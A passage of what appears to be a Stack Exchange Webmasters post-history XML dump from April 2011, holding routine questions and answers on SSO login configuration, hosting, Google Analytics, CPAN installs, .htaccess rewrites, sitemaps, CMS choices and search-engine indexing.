org.exoplatform.services.security.j2ee.TomcatLoginModule required;&#xD;&#xA;&#xD;&#xA;  // Uncomment the following part (and comment the other part for CAS integration&#xD;&#xA;&#xD;&#xA;  org.gatein.sso.agent.login.SSOLoginModule required;&#xD;&#xA;&#xD;&#xA;  org.exoplatform.services.security.j2ee.TomcatLoginModule required&#xD;&#xA;&#xD;&#xA;      portalContainerName=&quot;portal&quot;&#xD;&#xA;&#xD;&#xA;      realmName=&quot;gatein-domain&quot;;&#xD;&#xA;&#xD;&#xA;};&#xD;&#xA;&#xD;&#xA;4) When the result is KO, it's appears the bug is the blank plage or the loop on the blank page that I described earlier. OpenAM, after a successful authentification, redirects you to the portal and in the portal something fails... May be the validation of the cookie or something like that, if you have any idea, please share it.&#xD;&#xA;&#xD;&#xA;5) For the manual configuration, the chosen domain is : .vauban.com but in the cookies the domain writen in the cookie is localhost... Not strange because in the /etc/hosts or /Windows/system32/drivers/etcs/hosts/ 127.0.0.1 refers to localhost and/or openam.vauban.com.But when it's KO, the cookie has the domain .vauban.com in the cookie.&#xD;&#xA;&#xD;&#xA;Conclusion ???? : I need some helps to &quot;understand&quot; why in Windows, it's so impossible.... " />
  <row Id="27527" PostHistoryTypeId="2" PostId="12084" RevisionGUID="3ab8ec38-380f-41fd-9869-51f1d9279050" CreationDate="2011-04-12T14:39:49.160" UserId="6780" Text="You won't be able to find J2EE web hosting easily.  They're a function of (price*scalability*functionality) and usually just not worth it.&#xD;&#xA;&#xD;&#xA;On the other hand, you could pick up a VPS like linode, slicehost, or prgmr and set up your own server.  That'd be the best choice for price in my opinion, a prmr instance will only run you a few bucks a month, but you have to know your way around a *nix box to set yourself up." />
  <row Id="27528" PostHistoryTypeId="2" PostId="12085" RevisionGUID="1af224fa-b530-4168-8e93-9eecd4765482" CreationDate="2011-04-12T14:41:13.620" UserId="4229" Text="I've got a search page in my website: `www.example.com/?page=search`. It presents an HTML form with method=&quot;get&quot; for searching the site so a search for &quot;test&quot; will result in url: `www.example.com/?page=search&amp;q=test`&#xD;&#xA;There is also pagination so I end up with the following content pages tracked in analytics:&#xD;&#xA;&#xD;&#xA;    www.example.com/?page=search&amp;q=foobar&amp;page=2&#xD;&#xA;    www.example.com/?page=search&amp;q=foobar&amp;page=3&#xD;&#xA;    www.example.com/?page=search&amp;q=foobar&amp;page=4&#xD;&#xA;    www.example.com/?page=search&amp;q=test&#xD;&#xA;    www.example.com/?page=search&amp;q=test&amp;page=2&#xD;&#xA;    www.example.com/?page=search&amp;q=test&amp;page=3&#xD;&#xA;    etc...&#xD;&#xA;&#xD;&#xA;How is it possible to get a report for the search terms of &quot;page=search&quot;?&#xD;&#xA;Should I do it via the event tracking API or is there a configuration only way via Google Analytics? Maybe a custom report?&#xD;&#xA;&#xD;&#xA;thanks " />
  <row Id="27529" PostHistoryTypeId="1" PostId="12085" RevisionGUID="1af224fa-b530-4168-8e93-9eecd4765482" CreationDate="2011-04-12T14:41:13.620" UserId="4229" Text="Custom report for tracking webiste search within specific page" />
  <row Id="27530" PostHistoryTypeId="3" PostId="12085" RevisionGUID="1af224fa-b530-4168-8e93-9eecd4765482" CreationDate="2011-04-12T14:41:13.620" UserId="4229" Text="&lt;google-analytics&gt;" />
  <row Id="27531" PostHistoryTypeId="2" PostId="12086" RevisionGUID="707998a3-361a-43a5-8be1-96e5daa4be73" CreationDate="2011-04-12T14:56:08.870" UserId="1643" Text="If you have Google Analytics on your website it can give you the things that people are searching for. On the site configuration you fill in the &quot;Query Parameter (required)&quot; field with the URL parameter which comes just before the word that people are searching for. In your case it's &quot;q&quot;." />
  <row Id="27532" PostHistoryTypeId="25" PostId="12081" RevisionGUID="7efaf38a-f2fa-4fba-a4d0-a4772fda0fe3" CreationDate="2011-04-12T15:09:09.867" Comment="http://twitter.com/#!/StackWebmasters/status/57822571072200704" />
  <row Id="27533" PostHistoryTypeId="17" PostId="12088" RevisionGUID="be5a2e7c-0803-4e97-a705-a743fb63a00b" CreationDate="2011-04-12T15:55:15.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5635748/having-trouble-installing-a-perl-script/5636178#5636178" Text="" />
  <row Id="27534" PostHistoryTypeId="2" PostId="12088" RevisionGUID="a2537bf3-97af-454e-b96b-05b374359c66" CreationDate="2011-04-12T13:42:59.243" UserDisplayName="tim.lightfoot" Text="If you wish to add modules from CPAN you can call&#xD;&#xA;&#xD;&#xA;    &gt; sudo cpan install some::module&#xD;&#xA;    Enter Password: &#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &gt; sudo cpan install some/module.pm&#xD;&#xA;    Enter Password: &#xD;&#xA;" />
  <row Id="27535" PostHistoryTypeId="2" PostId="12087" RevisionGUID="3bc6aa60-cfcb-4cbc-9a38-db7f663e0214" CreationDate="2011-04-12T13:12:54.337" UserDisplayName="Steven Burrows" Text="I am having trouble installing a perl script. I have upload it to the correct directory, when I say to install it by name I get the following error:&#xD;&#xA;&#xD;&#xA;    Bad module name (ultravnc_repeater.pl) detected, skipping it. &#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;I also get the following error:&#xD;&#xA;&#xD;&#xA;    There was a problem fetching the list of available modules. &#xD;&#xA;&#xD;&#xA;Even when I say to install it by name I get the following error &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Testing connection speed...(using fast method)...Done &#xD;&#xA;Ping:3 (ticks) Testing connection speed to cpan.mirror.clemson.edu using pureperl...(15025.00 bytes/s)...Done &#xD;&#xA;Ping:3 (ticks) Testing connection speed to cpan.dagolden.com using pureperl...(10940.00 bytes/s)...Done &#xD;&#xA;Ping:3 (ticks) Testing connection speed to mirror.sit.wisc.edu using pureperl...(13520.00 bytes/s)...Done &#xD;&#xA;Three usable mirrors located &#xD;&#xA;Mirror Check passed for cpan.mirror.clemson.edu (/index.html) &#xD;&#xA;Bad module name (ultravnc_repeater.pl) detected, skipping it. &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;My host is using Cpanel Accelerated 2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have also tried typing an command into the install now area but I get the same error and I have searched google for various answers but nothing has helped as most talk about using ssh which I don't think I have, I am waiting on my hosting company giving me an answer." />
  <row Id="27536" PostHistoryTypeId="1" PostId="12087" RevisionGUID="3bc6aa60-cfcb-4cbc-9a38-db7f663e0214" CreationDate="2011-04-12T13:12:54.337" UserDisplayName="Steven Burrows" Text="having trouble installing a perl script" />
  <row Id="27537" PostHistoryTypeId="3" PostId="12087" RevisionGUID="3bc6aa60-cfcb-4cbc-9a38-db7f663e0214" CreationDate="2011-04-12T13:12:54.337" UserDisplayName="Steven Burrows" Text="&lt;cpanel&gt;" />
  <row Id="27538" PostHistoryTypeId="17" PostId="12087" RevisionGUID="66b11a2f-2b8b-4a3f-825e-10e445a4d4c0" CreationDate="2011-04-12T15:55:15.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5635748/having-trouble-installing-a-perl-script" Text="" />
  <row Id="27539" PostHistoryTypeId="2" PostId="12089" RevisionGUID="55bb070e-08c1-4a2a-beb7-0d2b8e74c62f" CreationDate="2011-04-12T16:05:00.227" UserId="6783" Text="So I have this site [here][1] which has major performance issues. Scrolling is *very* slow, hover effects have a bit of lag and other similar issue. Unfortunately right now I am working off a cheap host so I don't have the option to gzip my files and I am not sure how big a contributing factor that is, though. For what it's worth, I am using Drupal as a CMS.&#xD;&#xA;&#xD;&#xA;I would like to know the various reasons for the lag and what I can do to fix it.&#xD;&#xA;&#xD;&#xA;Some about:memory stats for the homepage :&#xD;&#xA;&#xD;&#xA;Memory:  &#xD;&#xA;- Private:49664k	&#xD;&#xA;- Shared:13052k  &#xD;&#xA;- Total: 62716k  &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;Virtual Memory:  &#xD;&#xA;- Private : 53400k   &#xD;&#xA;- Mapped : 10412;&#xD;&#xA;&#xD;&#xA;Let me know if you need any more information.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whackk.com &quot;Whackk!&quot;" />
  <row Id="27540" PostHistoryTypeId="1" PostId="12089" RevisionGUID="55bb070e-08c1-4a2a-beb7-0d2b8e74c62f" CreationDate="2011-04-12T16:05:00.227" UserId="6783" Text="Website has “lagging” effect. Causes? Tips and tricks to fix?" />
  <row Id="27541" PostHistoryTypeId="3" PostId="12089" RevisionGUID="55bb070e-08c1-4a2a-beb7-0d2b8e74c62f" CreationDate="2011-04-12T16:05:00.227" UserId="6783" Text="&lt;html&gt;&lt;css&gt;&lt;drupal&gt;&lt;performance&gt;" />
  <row Id="27542" PostHistoryTypeId="2" PostId="12090" RevisionGUID="453026e8-955e-4e92-9ef1-0f73258ba0f9" CreationDate="2011-04-12T16:22:01.467" UserId="1253" Text="Those aren't server issues. Once the page is loaded the server no longer has anything to do with the rendering and performance of the page. That's handled by the browser and device running the browser, in your case your computer.&#xD;&#xA;&#xD;&#xA;I took a quick peek at your website and you've got enough JavaScript and `&lt;object&gt;`s to kill an elephant. There's just way too much stuff going on at once. You'll either need to make your site more efficient, which probably requires re-writing some of that JavaScript or removing it altogether, or simplify your page by removing content and putting it on other pages (or finding a better way to do it)." />
  <row Id="27543" PostHistoryTypeId="2" PostId="12091" RevisionGUID="07f1de61-1382-46ab-9dad-98c1a739e747" CreationDate="2011-04-12T16:43:41.700" UserId="4502" Text="1. Fixed backgrounds tend to make scrolling sluggish in some browsers.&#xD;&#xA;2. Same for setting a background image on the HTML element.&#xD;&#xA;&#xD;&#xA;If this bothers you, then you should consider whether you really need the background to be fixed and whether you can move it to the body tag instead(it looks like you can)." />
  <row Id="27544" PostHistoryTypeId="2" PostId="12092" RevisionGUID="760e20c1-d9ea-4800-9e56-c8b78330e66e" CreationDate="2011-04-12T16:47:56.110" UserId="4502" Text="&lt;a href=&quot;http://www.youtube.com/watch?v=CgBw9tbAQhU&quot;&gt;Here's Matt Cutts&lt;/a&gt; on the Google Webmaster Help YouTube channel.  &#xD;&#xA;&#xD;&#xA;&quot;And the one word answer was: no.&quot;" />
  <row Id="27545" PostHistoryTypeId="2" PostId="12093" RevisionGUID="0bcc4d38-36d9-49ba-9133-c96401253baa" CreationDate="2011-04-12T17:23:18.923" UserId="5322" Text=".htaccess rewrites work from the top down. Once a re-write match has been found then apache stops there. So you need to put your re-direction first like this:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?domain\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="27546" PostHistoryTypeId="25" PostId="12089" RevisionGUID="41cf5366-6c6d-4e8f-96cf-ec736abf706d" CreationDate="2011-04-12T18:09:09.880" Comment="http://twitter.com/#!/StackWebmasters/status/57867869572173824" />
  <row Id="27547" PostHistoryTypeId="6" PostId="10600" RevisionGUID="e2fda06c-4cfc-4666-8f44-7cfda67c5708" CreationDate="2011-04-12T18:48:44.530" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="27548" PostHistoryTypeId="5" PostId="12024" RevisionGUID="776bf4e0-e9ef-47ef-be1a-390232cadc1a" CreationDate="2011-04-12T18:48:57.947" UserId="179" Comment="Some simple grammar changes as the author is not a native English speaker. " Text="You cannot do anything. As the internet is free, anyone has the right to purchase whatever domains they need and not be asked why. If you're looking for a domain name for your web application, I suggest you to think of something nobody has thought of before. &#xD;&#xA;&#xD;&#xA;If the domain name is registered, then your original name is not original. Think of another one. :)" />
  <row Id="27549" PostHistoryTypeId="24" PostId="12024" RevisionGUID="776bf4e0-e9ef-47ef-be1a-390232cadc1a" CreationDate="2011-04-12T18:48:57.947" Comment="Proposed by 179 approved by 1253 edit id of 109" />
  <row Id="27550" PostHistoryTypeId="2" PostId="12094" RevisionGUID="5cb199d6-bd0e-4149-aa25-8269aa520593" CreationDate="2011-04-12T19:09:07.720" UserId="5727" Text="I'm sitemapping all my forum topics.  It works great:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;url&gt; &#xD;&#xA;	    &lt;loc&gt;http://127.0.0.1/scirranew/Forum/Breaks-and-slowdowns-Vram-200_topic32854.html&lt;/loc&gt; &#xD;&#xA;	    &lt;lastmod&gt;2010-11-06&lt;/lastmod&gt; &#xD;&#xA;	    &lt;changefreq&gt;daily&lt;/changefreq&gt; &#xD;&#xA;	    &lt;priority&gt;0.7&lt;/priority&gt; &#xD;&#xA;    &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;However, with change frequency, this totally depends on how long ago the last reply was.  Is it ok, to dynamically generate these values, or should I leave this XML tag out completely?  IE, I was planning on doing:&#xD;&#xA;&#xD;&#xA;If last reply date was:&#xD;&#xA;&#xD;&#xA;    &lt; 1 hour ago = always&#xD;&#xA;    &lt; 1 day ago = hourly&#xD;&#xA;    &lt; 1 week ago = daily&#xD;&#xA;    &lt; 4 weeks ago = weekly&#xD;&#xA;    &lt; 12 months ago = monthly&#xD;&#xA;    else yearly&#xD;&#xA;&#xD;&#xA;Thanks for any tips!" />
  <row Id="27551" PostHistoryTypeId="1" PostId="12094" RevisionGUID="5cb199d6-bd0e-4149-aa25-8269aa520593" CreationDate="2011-04-12T19:09:07.720" UserId="5727" Text="Sitemap change frequency" />
  <row Id="27552" PostHistoryTypeId="3" PostId="12094" RevisionGUID="5cb199d6-bd0e-4149-aa25-8269aa520593" CreationDate="2011-04-12T19:09:07.720" UserId="5727" Text="&lt;sitemap&gt;&lt;change-management&gt;&lt;change-frequency&gt;" />
  <row Id="27553" PostHistoryTypeId="2" PostId="12095" RevisionGUID="0643cdbc-6174-4f9d-b191-105daf721f47" CreationDate="2011-04-12T19:24:38.883" UserId="1253" Text="I leave it out. It doesn't really offer Google or any other search engine anything useful and with dynamic pages its real value is going to vary wildly and that value will rarely be correct.&#xD;&#xA;&#xD;&#xA;But I like your approach. If you feel it's necessary to include it that might not be a bad way to do it. Or you could really go the extra mile and figure out the time between the most recent comment and the one ten comments before it and use the average time between comments as your value. It would be more accurate but still hardly useful." />
  <row Id="27554" PostHistoryTypeId="17" PostId="12097" RevisionGUID="79f8d809-ef9d-4d77-b8dc-c99673ee0a23" CreationDate="2011-04-12T19:25:36.743" UserId="-1" Comment="from http://stackoverflow.com/questions/5622501/color-size-stock-ecommerce-cms/5623477#5623477" Text="" />
  <row Id="27555" PostHistoryTypeId="2" PostId="12097" RevisionGUID="8c875dbb-bcfe-47ce-97db-9b1388fc4d1b" CreationDate="2011-04-11T15:16:17.703" UserDisplayName="Josh" Text="It is standard on magento, no plugins or modules needed.  Each variation is saved as a separate non-visable product with a main configurable product that groups them together.  Stock is tracked for each individual non-visible product.&#xD;&#xA;&#xD;&#xA;Here's a [screencast][1] that shows it in action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/media/screencasts/configurable-products/view" />
  <row Id="27556" PostHistoryTypeId="2" PostId="12096" RevisionGUID="f00b805a-7d31-495f-8279-f74c5a56c40e" CreationDate="2011-04-11T14:09:13.560" UserDisplayName="Swing Magic" Text="Is there any cms written in php have support for managing color, size &amp; stock of item. &#xD;&#xA;&#xD;&#xA;and also if possible image of the product base on color?" />
  <row Id="27557" PostHistoryTypeId="1" PostId="12096" RevisionGUID="f00b805a-7d31-495f-8279-f74c5a56c40e" CreationDate="2011-04-11T14:09:13.560" UserDisplayName="Swing Magic" Text="Color, size, stock Ecommerce CMS" />
  <row Id="27558" PostHistoryTypeId="3" PostId="12096" RevisionGUID="f00b805a-7d31-495f-8279-f74c5a56c40e" CreationDate="2011-04-11T14:09:13.560" UserDisplayName="Swing Magic" Text="&lt;php&gt;&lt;cms&gt;&lt;ecommerce&gt;" />
  <row Id="27559" PostHistoryTypeId="17" PostId="12096" RevisionGUID="d752fba8-e087-46d8-9efa-d49a77c2a0a6" CreationDate="2011-04-12T19:25:36.743" UserId="-1" Comment="from http://stackoverflow.com/questions/5622501/color-size-stock-ecommerce-cms" Text="" />
  <row Id="27560" PostHistoryTypeId="6" PostId="12096" RevisionGUID="cf749751-3228-4225-a73d-9a9b67bbab52" CreationDate="2011-04-12T19:26:10.893" UserId="1253" Comment="edited tags" Text="&lt;php&gt;&lt;cms&gt;&lt;ecommerce&gt;&lt;looking-for-a-script&gt;" />
  <row Id="27561" PostHistoryTypeId="2" PostId="12098" RevisionGUID="90233946-c243-43b0-a415-1f83ae969c6e" CreationDate="2011-04-12T20:08:07.177" UserId="6355" Text="By &quot;subscription CMS&quot; I'm assuming you don't want to install the CMS yourself, but to use it as a service, right?&#xD;&#xA;&#xD;&#xA;If that is the case, and if you want to create access levels to different kinds of content, then Drupal 7 is a good CMS. If you don't want to install Drupal yourself than http://www.drupalgardens.com/ is an excellent host. You can use their free plan to test the solution (the CMS), but you probably want to have support with one of the paid solutions.&#xD;&#xA;&#xD;&#xA;Wordpress is a great CMS as well, but I don't know how to limit reading access to certain users to certain content (without installing a plugin). *Note: You can password protect a post, but it's not exactly what you asked...* I would suggest you ask Kevin for a link with an how-to before you spend hours learning how to use it in vain.&#xD;&#xA;&#xD;&#xA;In my opinion, Wordpress is easier (to administrate) than Drupal as well." />
  <row Id="27562" PostHistoryTypeId="25" PostId="12094" RevisionGUID="c7a892bc-7a39-4c60-9991-ed7b3444f47b" CreationDate="2011-04-12T21:09:09.700" Comment="http://twitter.com/#!/StackWebmasters/status/57913167497539584" />
  <row Id="27563" PostHistoryTypeId="2" PostId="12099" RevisionGUID="3381d1a3-0f68-412a-aa25-e7648d950316" CreationDate="2011-04-12T21:10:15.770" UserId="2766" Text="Based on my research into the subject, I've found that there isn't a 100% guarenteed way to prevent indexing and caching of data, but you can come pretty darn close (assuming you want to deal with increased bot traffic). Here's how I've interpreted the information.&#xD;&#xA;&#xD;&#xA;One would think that the robots.txt file is used to define robots information site-wide and meta tags are used for page specific details. I think the spirit behind the the 2 are exactly this but this is not the case in practice.&#xD;&#xA;&#xD;&#xA;**Don't create a [robots.txt][1] file**&#xD;&#xA;&#xD;&#xA;This works with all major search providers to prevent content from appearing on the SERP, but [does][2] [not][3] [prevent][4] indexing. This also prevents bots from crawling your pages so any robot meta tags (see below) are also ignored. Because of this you cannot use the 2 together and this is why, if you want to prevent indexing, you should not use a robots.txt file.&#xD;&#xA;&#xD;&#xA;Side note: Google does support the use of `Noindex: /` in robots.txt, but it is undocumented (who knows when it will break) and unknown whether this works for anyone else.&#xD;&#xA;&#xD;&#xA;**Use HTTP headers or HTML META tags to prevent everything**&#xD;&#xA;&#xD;&#xA;Unlike the robots.txt file, the robots meta tag (and HTTP Header) is widely supported and, surprisingly, feature rich. It is designed to be set on each page, but recent adoption of the `X-Robots-Tag` header make it easy to set site-wide. The only downside with this method is that bots will crawl your site. This can be limited by using `nofollow`, but not all bots truely respect `nofollow`.&#xD;&#xA;&#xD;&#xA;I found a ton of information in [this, outdated, blog post][5]. It's original release was 2007 but, because a lot of the information on it are newer features since then, it appears to be getting updated regularly.&#xD;&#xA;&#xD;&#xA;In summary, you should sent an HTTP header of `X-Robots-Tag: noindex,nofollow,noodp,noydir`. Here's the break down of why:&#xD;&#xA;&#xD;&#xA;* `nofollow` should limit the number of pages crawled on your site, keeping bot traffic down. * `noindex` tells engines to not index the page.&#xD;&#xA;* Now, you might assume that `noindex` might be enough. However, I've found that even if you say `noindex` your site might be indexed because of other sites linking to it. The best way to prevent common site links from Y! Directory (`noydir`) and Open Directory (`noodp`).&#xD;&#xA;* Using the HTTP header **also** applies the robots data to files, images, and other non-HTML files! YAY!&#xD;&#xA;&#xD;&#xA;This will work in 99% of cases. Keep in mind though that it is [still possible][6] to become indexed in some cases by some providers. Google claims to fully respect `noindex`, but I have my suspicions.&#xD;&#xA;&#xD;&#xA;Finally, if you do get indexed, or have already been indexed, the only way to get your information de-indexed is to follow the various means from each provider to request the site/url be removed. Obviously this means that you will probably want to monitor the sites/pages using something like [Google Alerts][7] (thanks @Joe).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/&#xD;&#xA;  [2]: http://help.yahoo.com/l/us/yahoo/search/webcrawler/slurp-04.html&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?answer=35303&#xD;&#xA;  [4]: http://www.youtube.com/watch?v=KBdEwpRQRD0&#xD;&#xA;  [5]: http://www.antezeta.com/blog/avoid-search-engine-indexing&#xD;&#xA;  [6]: http://help.yahoo.com/l/us/yahoo/search/webcrawler/slurp-04.html&#xD;&#xA;  [7]: http://www.google.com/alerts" />
  <row Id="27564" PostHistoryTypeId="5" PostId="11700" RevisionGUID="b168a49f-cfa1-441b-b5f6-00e14597d50c" CreationDate="2011-04-12T21:11:28.090" UserId="2766" Comment="added 155 characters in body" Text="So, on all of our sites that are not search facing we've applied a robots.txt file (per http://webmasters.stackexchange.com/questions/8144/how-to-exclude-a-website-from-real-time-google-search-results, or any other similar question).&#xD;&#xA;&#xD;&#xA;However, if search terms are specific enough, the domain itself can be found via results. An example of this can be found [here][1]. As you can see from the link, the domain itself can be found (content is not cached, but domain is listed). Additionally, performing a search with `site:hyundaidigitalmarketing.com` should 3 results. Checking backlinks provides a few as well, but I obviously cannot prevent them (linking is allowed in context) or control how these are handled (can't tell the host to add nofollow, noindex).&#xD;&#xA;&#xD;&#xA;Now, I know this is a severe edge case, however my companies clients are doing just this. In fact, our domains are pretty good, so even seemingly arbitrary searches are turning up relevant results. Now, I have to write up a report on how/why this is happening.&#xD;&#xA;&#xD;&#xA;So, I turn to the wonderful Stack Exchange network to help me either understand what I am missing or understand what is happening. Links to industry articles are extremely helpful but, anything you can give is obviously greatful. I do intend to offer bounties the best I can to make this an answer to turn to in the future.&#xD;&#xA;&#xD;&#xA;**Edit:** I've opened a bounty on this question in hopes of getting some more responses on it. I've also provided the results of my own research below.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=hyundai%20digital%20marketing" />
  <row Id="27565" PostHistoryTypeId="2" PostId="12100" RevisionGUID="ae67487d-ec15-467b-90e7-fcebc2d12cb3" CreationDate="2011-04-12T21:12:19.017" UserId="1134" Text="If I were you I'd be tempted to register k1runk2.ru" />
  <row Id="27566" PostHistoryTypeId="2" PostId="12101" RevisionGUID="2b944dbc-70d2-48fb-b18c-83a2299c1268" CreationDate="2011-04-12T21:53:44.927" UserId="5727" Text="http://www.yell.com/robots.txt&#xD;&#xA;&#xD;&#xA;Lots of sitemaps in there :)&#xD;&#xA;&#xD;&#xA;I haven't downloaded the data and had a look at it, but it might contain usable information." />
  <row Id="27567" PostHistoryTypeId="2" PostId="12102" RevisionGUID="203c0aa9-391c-4ef2-86a1-89ce22343b33" CreationDate="2011-04-12T21:54:45.710" UserId="6786" Text="In the required *Articles* can select option `Front Page` to `Yes` and create `Front Page Blog Layout` *Menu Item*." />
  <row Id="27574" PostHistoryTypeId="25" PostId="12085" RevisionGUID="3bebdbfe-cc17-4a8c-94e7-6f82363822b8" CreationDate="2011-04-13T00:09:10.023" Comment="http://twitter.com/#!/StackWebmasters/status/57958467847204865" />
  <row Id="27578" PostHistoryTypeId="2" PostId="12105" RevisionGUID="315dbca0-e54c-42ae-bd81-a0fbf30ffa94" CreationDate="2011-04-13T02:30:43.503" UserId="6643" Text="In my site, the multilingual path is look like:&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;www.example.com/en/index.html&#xD;&#xA;&#xD;&#xA;I want to ask is it necessary to use sub domain for SEO best practice?&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;www.en.example.com/index.html&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27579" PostHistoryTypeId="1" PostId="12105" RevisionGUID="315dbca0-e54c-42ae-bd81-a0fbf30ffa94" CreationDate="2011-04-13T02:30:43.503" UserId="6643" Text="SEO - multilingual issue" />
  <row Id="27580" PostHistoryTypeId="3" PostId="12105" RevisionGUID="315dbca0-e54c-42ae-bd81-a0fbf30ffa94" CreationDate="2011-04-13T02:30:43.503" UserId="6643" Text="&lt;multilingual&gt;" />
  <row Id="27584" PostHistoryTypeId="25" PostId="12105" RevisionGUID="2b54b684-6726-457f-97f9-0430159ea920" CreationDate="2011-04-13T03:09:10.603" Comment="http://twitter.com/#!/StackWebmasters/status/58003768154931200" />
  <row Id="27585" PostHistoryTypeId="2" PostId="12107" RevisionGUID="8e89bb72-6c76-4f16-abcf-c0ac97e9ac0a" CreationDate="2011-04-13T04:45:41.160" UserId="2907" Text="You could also present the same site/page with the information arranged differently, then use something like Google Analytics or some other heatmapping software to see how the &quot;clicks&quot; register differently.&#xD;&#xA;&#xD;&#xA;For example... if your home page has a lot of info and you want to drive people to a &quot;products&quot; section where you sell things, it may be beneficial to present the &quot;products&quot; area in different formats or different locations on the page, then see which generates better click throughs.&#xD;&#xA;&#xD;&#xA;You can search &quot;A-B Testing&quot; for other examples." />
  <row Id="27587" PostHistoryTypeId="2" PostId="12108" RevisionGUID="dbf7271c-3a86-4815-b396-547cef72eec4" CreationDate="2011-04-13T04:56:59.067" UserId="6557" Text="I'm relocating my client's pages to a new server. Their old system was running Plesk and had some email groups and a few mail forwards defined. The new server has no Plesk and I'd really rather not install it just for the email groups either, so I'm looking for a new alternative for creating and managing the lists.&#xD;&#xA;&#xD;&#xA;Their main site is going to run on Drupal 6.x, so a module for that would be the preferred choice. I tried searching for one myself, but to no avail.&#xD;&#xA;&#xD;&#xA;Anything else that gets the job done will do as well, as long as the client who is not very tech-savvy can modify and add lists herself. The server is a Debian 5, root access is available.&#xD;&#xA;&#xD;&#xA;Any suggestions are highly appreciated." />
  <row Id="27588" PostHistoryTypeId="1" PostId="12108" RevisionGUID="dbf7271c-3a86-4815-b396-547cef72eec4" CreationDate="2011-04-13T04:56:59.067" UserId="6557" Text="Mail group managers similar to Plesk" />
  <row Id="27589" PostHistoryTypeId="3" PostId="12108" RevisionGUID="dbf7271c-3a86-4815-b396-547cef72eec4" CreationDate="2011-04-13T04:56:59.067" UserId="6557" Text="&lt;drupal&gt;&lt;email&gt;&lt;linux&gt;&lt;mailing-list&gt;&lt;plesk&gt;" />
  <row Id="27590" PostHistoryTypeId="25" PostId="12108" RevisionGUID="4f52b53a-2b05-4c4f-827d-d68a6c648009" CreationDate="2011-04-13T06:09:10.847" Comment="http://twitter.com/#!/StackWebmasters/status/58049068231958529" />
  <row Id="27591" PostHistoryTypeId="2" PostId="12109" RevisionGUID="4c3aa0be-4cea-434c-a5ea-252d215ac177" CreationDate="2011-04-13T07:21:39.867" UserId="6794" Text="You should not create a CNAME record to the naked domain (without the 'www'). All you need to do is forward or redirect it to your 'www' address so that both URLs will point to your blog. You can then edit the MX record of your domain name to Google Apps&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27592" PostHistoryTypeId="2" PostId="12110" RevisionGUID="15fc2394-66a2-4bb5-b16e-1031150bc970" CreationDate="2011-04-13T08:35:09.383" UserId="5727" Text="Given the following forum post:&#xD;&#xA;&#xD;&#xA;&gt; **Basics of how internals of Construct work**&#xD;&#xA;&gt; &#xD;&#xA;&gt; I've used GameMaker in the past. And I&#xD;&#xA;&gt; know some C++ and have used a few 3d&#xD;&#xA;&gt; engines with it. I have also looked at&#xD;&#xA;&gt; Unity, though I didn't get too much&#xD;&#xA;&gt; into it. So I know my way around&#xD;&#xA;&gt; programming etc...&#xD;&#xA;&gt; &#xD;&#xA;&gt; My question is, how does construct&#xD;&#xA;&gt; work internally? I know it allows&#xD;&#xA;&gt; python scripting, which itself is&#xD;&#xA;&gt; &quot;technically&quot; interpreted, though&#xD;&#xA;&gt; python is pretty fast as far as being&#xD;&#xA;&gt; interpreted goes. But what about the&#xD;&#xA;&gt; rest? Is the executable that gets&#xD;&#xA;&gt; cre...&#xD;&#xA;&#xD;&#xA;The forum software will take the first 150 chars of the first post as the page meta description, and the title will be the thread title.  All ok.  So in Google it will appear as:&#xD;&#xA;&#xD;&#xA;&gt; **Basics of how internals of Construct work**&#xD;&#xA;&gt; &#xD;&#xA;&gt; I've used GameMaker in the past. And I&#xD;&#xA;&gt; know some C++ and have used a few 3d&#xD;&#xA;&gt; engines with it. I have also looked at&#xD;&#xA;&gt; Unity, though I didn't get too much...&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.domain.com/forum/basics-of-how-internals-of-construct-work.html&#xD;&#xA;&#xD;&#xA;Now the problem is (not so much with this thread, but other ones) is the first 150 chars don't always create the best meta description.  Is it worth my time to cherry pick threads and manually set their description/title tags so they read like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Internal workings of Construct 2**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Learn about how the game maker Construct 2 works from the inside, with comment from the developers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.domain.com/forum/basics-of-how-internals-of-construct-work.html&#xD;&#xA;&#xD;&#xA;The H1 on the page is still the original title, but we have overridden the title and description to look more friendly on search results.&#xD;&#xA;&#xD;&#xA;Is this advantageous forgetting the obvious time cost?" />
